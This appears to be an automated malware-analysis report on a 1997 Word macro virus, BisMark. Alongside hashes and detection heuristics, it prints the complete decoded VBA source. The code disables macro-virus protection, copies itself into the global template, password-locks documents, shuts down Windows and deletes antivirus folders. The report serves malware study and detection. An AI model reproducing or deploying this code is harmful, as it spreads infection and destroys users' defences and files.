Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1bbf2b3c56b31183…

MALICIOUS

Office (OLE)

53.5 KB Created: 1997-08-04 11:44:00 Authoring application: Microsoft Word 8.0 First seen: 2015-10-06
MD5: 34d9e1fd433c513d4106307204258bf0 SHA-1: 090f912a2a74c1d16735348fe14194ad4c18732a SHA-256: 1bbf2b3c56b31183cbaa86d00d0341a237076088f52ab4006860eeff732e16ce
256 Risk Score

Heuristics 6

  • ClamAV: Doc.Trojan.Bismark-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Bismark-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3886 bytes
SHA-256: ecd2ad869d9c44c9cb264b3b18b4bf7e6bedd5a31435c8094a038f574722e24a
Detection
ClamAV: Doc.Trojan.Bismark-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "BisMark"
Sub AutoOpen()
On Error GoTo BisMark

    Application.ScreenUpdating = False
    Application.DisplayAlerts = wdAlertsNone

    WordBasic.DisableAutoMacros 0
    Options.VirusProtection = False

    Set ActiveDoc = ActiveDocument
    Set GlobalDoc = NormalTemplate

    documentinstalled = False
    Globalinstalled = False

    For I = 1 To ActiveDocument.VBProject.VBComponents.Count
        If ActiveDocument.VBProject.VBComponents(I).Name = "BisMark" Then
            documentinstalled = True
        End If
   Next
  
   For J = 1 To NormalTemplate.VBProject.VBComponents.Count
        If NormalTemplate.VBProject.VBComponents(J).Name = "BisMark" Then
            Globalinstalled = True
        End If
    Next

    If documentinstalled = False Then
        Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="BisMark", Object:=wdOrganizerObjectProjectItems
        ActiveDoc.SaveAs FileName:=ActiveDoc.Name, FileFormat:=wdFormatTemplate
        
    End If

    If Globalinstalled = False Then
        Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="BisMark", Object:=wdOrganizerObjectProjectItems
        Options.SaveNormalPrompt = False
        
    End If

    Application.DisplayAlerts = wdAlertsAll

BisMark:
BisMark
End Sub
Sub BisMark()
On Error GoTo BisMark
Application.StatusBar = True
StatusBar = "BisMark1 WMV97"
Application.Caption = "BisMark1 WMV97"
With ActiveDocument
.BuiltInDocumentProperties(wdPropertyTitle) = "BisMark1"
.BuiltInDocumentProperties(wdPropertySubject) = "Word Macro Virri"
.BuiltInDocumentProperties(wdPropertyAuthor) = "Talon 1997"
.BuiltInDocumentProperties(wdPropertyManager) = "Talon 1997"
.BuiltInDocumentProperties(wdPropertyCompany) = "Virii Productions"
.BuiltInDocumentProperties(wdPropertyComments) = "This Word Macro Virus was Made By Talon"
End With
If WeekDay(Now()) = 4 And Hour(Now()) = 12 Then
AutoCorrect.Entries.Add Name:="the", Value:="Word Macro Virus BisMark1, Written By Talon"
Else
End If
BisMark:
End Sub

Sub ToolsMacro()
On Error GoTo BisMark
ActiveDocument.Password = "Bismark"
Documents.Close SaveChanges:=wdSaveChanges

Assistant.Visible = True
With Assistant.NewBalloon
.Icon = msoIconAlert
.Text = "You Should Have Left Me Alone, I Was Not Hurting Anything. Now I'am Mad!"
.Heading = "Word Macro Virus BisMark 97"
.Animation = msoAnimationSearching
.Show
End With
Tasks.ExitWindows

BisMark:
End Sub
Sub Toolscustomize()
On Error GoTo BisMark
ActiveDocument.Password = "Bismark"
Documents.Close SaveChanges:=wdSaveChanges

Assistant.Visible = True
With Assistant.NewBalloon
.Icon = msoIconAlert
.Text = "You Should Have Left Me Alone, I Was Not Hurting Anything. Now I'am Mad!"
.Heading = "Word Macro Virus BisMark 97"
.Animation = msoAnimationSearching
.Show
End With
Tasks.ExitWindows

BisMark:
End Sub
Sub ViewVBcode()
On Error GoTo BisMark
ActiveDocument.Password = "Bismark"
Documents.Close SaveChanges:=wdSaveChanges

Assistant.Visible = True
With Assistant.NewBalloon
.Icon = msoIconAlert
.Text = "You Should Have Left Me Alone, I Was Not Hurting Anything. Now I'am Mad!"
.Heading = "Word Macro Virus BisMark 97"
.Animation = msoAnimationSearching
.Show
End With
Tasks.ExitWindows

BisMark:
End Sub
Sub AutoClose()
On Error Resume Next
Kill "c:\program files\norton antivirus\*.*"
Kill "c:\vdoc\*.*"
Kill "c:\f-prot\*.*"
Kill "C:\program files\antiviral toolkit pro\*.*"
End Sub

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